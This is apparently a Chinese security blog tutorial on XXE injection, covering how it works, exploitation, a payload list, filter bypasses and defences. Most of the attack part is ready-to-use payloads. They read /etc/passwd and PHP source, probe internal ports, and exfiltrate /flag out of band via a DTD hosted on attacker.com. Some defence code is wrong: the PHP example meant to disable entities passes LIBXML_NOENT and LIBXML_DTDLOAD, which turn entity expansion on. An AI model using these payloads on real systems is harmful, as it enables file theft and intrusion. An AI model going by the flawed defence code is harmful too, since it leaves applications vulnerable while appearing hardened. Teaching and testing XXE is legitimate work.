文章

XXE漏洞详解:原理、利用与防御

XXE漏洞详解:原理、利用与防御

免责声明:本文仅供学习交流使用,请勿用于非法用途。进行安全测试时,请确保已获得目标系统的合法授权。

目录


什么是XXE漏洞

XXE(XML External Entity Injection,XML外部实体注入) 是一种针对XML解析器的安全漏洞。当应用程序解析用户提交的XML数据时,如果未正确配置XML解析器,攻击者可以通过构造恶意的XML文档,利用外部实体引用执行各种攻击。

常见应用场景

XXE漏洞可能出现在任何接收XML数据的业务逻辑处:

  1. SOAP型Web Service:使用XML格式与服务器通信
  2. REST型Web Service:虽然通常使用JSON,但许多框架也支持XML格式
  3. 文件上传:SVG图片、Office文档、PDF等格式的文件解析
  4. 配置文件解析:Spring、Struts2等框架的配置文件处理
  5. 数据交换:RSS订阅、SOAP消息等

XXE漏洞原理

XML基础

XML(eXtensible Markup Language,可扩展标记语言)是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。

XML文档结构包括:

  • XML声明:定义XML版本和编码
  • DTD(Document Type Definition):文档类型定义(可选)
  • 文档元素:实际的XML内容

DTD与实体

DTD用于定义XML文档的结构规则,可以声明元素、属性以及实体。

实体(Entity) 是用于定义引用文本或字符的快捷方式的变量,可以:

  • 内部声明:在DTD中直接定义
  • 外部引用:引用外部文件

实体类型

类型说明示例
内部通用实体在DTD中定义文本替换<!ENTITY writer "Writer: Donald Duck.">
外部通用实体引用外部文件<!ENTITY xxe SYSTEM "file:///etc/passwd">
参数实体仅在DTD中使用<!ENTITY % file SYSTEM "file:///flag">

漏洞产生原因

当XML解析器支持外部实体引用且未进行安全限制时,攻击者可以:

  1. 定义引用本地文件的外部实体
  2. 定义引用远程资源的外部实体
  3. 在XML文档中引用这些实体,触发解析器读取敏感文件或访问内网资源

XXE漏洞的危害

XXE漏洞可能导致以下严重后果:

1. 读取本地敏感文件

攻击者可以读取服务器上的任意文件,如:

  • /etc/passwd(Linux用户列表)
  • 配置文件(数据库密码、API密钥等)
  • 应用程序源代码

2. SSRF(服务器端请求伪造)

利用XXE进行内网探测:

  • 扫描内网主机和端口
  • 访问内网服务
  • 攻击内部系统

3. 数据外带(OOB)

通过外带通道窃取数据,即使目标系统不回显数据也能获取敏感信息。

4. 拒绝服务攻击(DoS)

利用递归实体引用或大型文件引用导致:

  • Billion Laughs攻击(递归实体扩展)
  • 内存耗尽
  • CPU资源耗尽

5. 远程代码执行(特定条件)

  • PHP中如果安装了expect扩展,可利用XXE执行任意命令
  • Java中利用jar://协议可能导致恶意文件上传

XXE漏洞利用方式

1. 文件读取

使用file协议

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<catalog>
    <core id="test101">
        <description>&xxe;</description>
    </core>
</catalog>

PHP中使用php://filter

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<creds>
    <user>&xxe;</user>
</creds>

2. 内网探测

利用XXE进行SSRF攻击,探测内网服务:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80/" >
]>
<foo>&xxe;</foo>

通过响应时间或错误信息判断内网主机和端口是否开放。

3. 数据外带(OOB - Out of Band)

当目标系统不回显数据时,可以通过外带方式窃取数据:

Payload(目标系统):

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/shell.dtd">
%remote;
]>
<root></root>

shell.dtd(攻击者服务器):

1
2
3
4
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://attacker.com:5555/?flag=%file;'>">
%int;
%send;

4. SVG格式的XXE

SVG文件本质上也是XML,可以在图片上传功能中利用:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
    <text x="10" y="20">&file;</text>
</svg>

XXE漏洞Payload示例

基础文件读取Payload

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>
</user>

Windows系统文件读取

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<user>
    <name>&xxe;</name>
</user>

PHP源码读取(Base64编码)

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<user>
    <name>&xxe;</name>
</user>

内网端口扫描

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
]>
<user>
    <name>&xxe;</name>
</user>

使用PUBLIC关键字

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe PUBLIC "any_text" "file:///etc/passwd">
]>
<user>
    <name>&xxe;</name>
</user>

XXE漏洞绕过技巧

1. 双重实体编码绕过

当只过滤了SYSTEM、PUBLIC等关键字时,可用双重实体编码绕过:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE GVI [
    <!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#120;&#120;&#101;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#102;&#108;&#97;&#103;&#46;&#116;&#120;&#116;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#99;&#111;&#114;&#101;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#120;&#120;&#101;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#99;&#111;&#114;&#101;&#62;">
    %xml;
]>

原理:在XML实体中再定义一次XML,通过编码绕过关键字过滤。

2. 使用参数实体

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY load "%xxe;">
]>
<foo>&load;</foo>

3. 大小写绕过

如果过滤不区分大小写,可以尝试:

  • System 代替 SYSTEM
  • sYsTeM 混合大小写

4. 协议绕过

如果file://被过滤,可以尝试:

  • php://filter
  • http://
  • ftp://
  • data://

5. 注释绕过

1
2
3
<!DOCTY<!DOCTYPEPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

XXE漏洞防御措施

1. 禁用外部实体(推荐)

PHP

1
2
3
4
5
6
// 禁用外部实体加载
libxml_disable_entity_loader(true);

// 使用DOMDocument时
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD | LIBXML_NOERROR | LIBXML_NOWARNING);

注意:PHP 5.4.5之后默认不解析实体,但仍建议显式禁用。

Java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;

// 创建安全的DocumentBuilderFactory
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

// 禁用外部实体
dbf.setExpandEntityReferences(false);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

DocumentBuilder db = dbf.newDocumentBuilder();

Python

1
2
3
4
5
6
7
8
from lxml import etree
from defusedxml import lxml as DLxml

# 方法1: 使用lxml并禁用实体解析
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities=False))

# 方法2: 使用defusedxml(更安全)
xmlData = DLxml.parse(xmlSource)

2. 使用安全的XML解析库

Java - 使用OWASP Java Encoder

1
2
3
4
import org.owasp.encoder.Encode;

// 对XML输入进行编码
String safeXml = Encode.forXml(xmlInput);

Python - 使用defusedxml

1
2
3
4
5
6
7
8
9
# defusedxml是Python的安全XML解析库
from defusedxml import ElementTree as ET
from defusedxml import minidom
from defusedxml import sax
from defusedxml import xmlrpc
from defusedxml import lxml

# 使用defusedxml替代标准库
root = ET.parse(xml_file)

3. 输入验证和过滤

1
2
3
4
5
6
7
8
9
import re

def sanitize_xml_input(xml_string):
    """清理XML输入,移除危险的DTD声明"""
    # 移除DOCTYPE声明
    xml_string = re.sub(r'<!DOCTYPE[^>]*>', '', xml_string, flags=re.IGNORECASE)
    # 移除ENTITY声明
    xml_string = re.sub(r'<!ENTITY[^>]*>', '', xml_string, flags=re.IGNORECASE)
    return xml_string

4. 使用JSON替代XML

如果业务允许,尽量使用JSON格式替代XML进行数据交换,从根本上避免XXE漏洞。

5. 网络层防护

  • 配置WAF规则,检测和拦截XXE攻击Payload
  • 限制服务器的出站连接,防止数据外带
  • 使用网络隔离,限制服务器访问内网资源

6. 最小权限原则

  • 确保运行应用的服务账号只有必要的文件读取权限
  • 敏感配置文件设置严格的访问控制
  • 定期审计文件权限

总结

XXE漏洞是一种常见且危害严重的Web安全漏洞,主要由于XML解析器配置不当导致。防御XXE漏洞的关键在于:

  1. 禁用外部实体:这是最有效的防御措施
  2. 使用安全库:如defusedxml等经过安全加固的解析库
  3. 输入验证:对XML输入进行严格的验证和过滤
  4. 最小权限:限制应用和服务的文件访问权限
  5. 替代方案:优先考虑使用JSON等更安全的格式

作为安全研究人员,在进行渗透测试时,应当:

  • 始终获得合法授权
  • 使用测试环境进行验证
  • 负责任地披露漏洞
  • 帮助开发团队修复问题

参考资源


本文最后更新于:2026年3月9日

本文由作者按照 CC BY 4.0 进行授权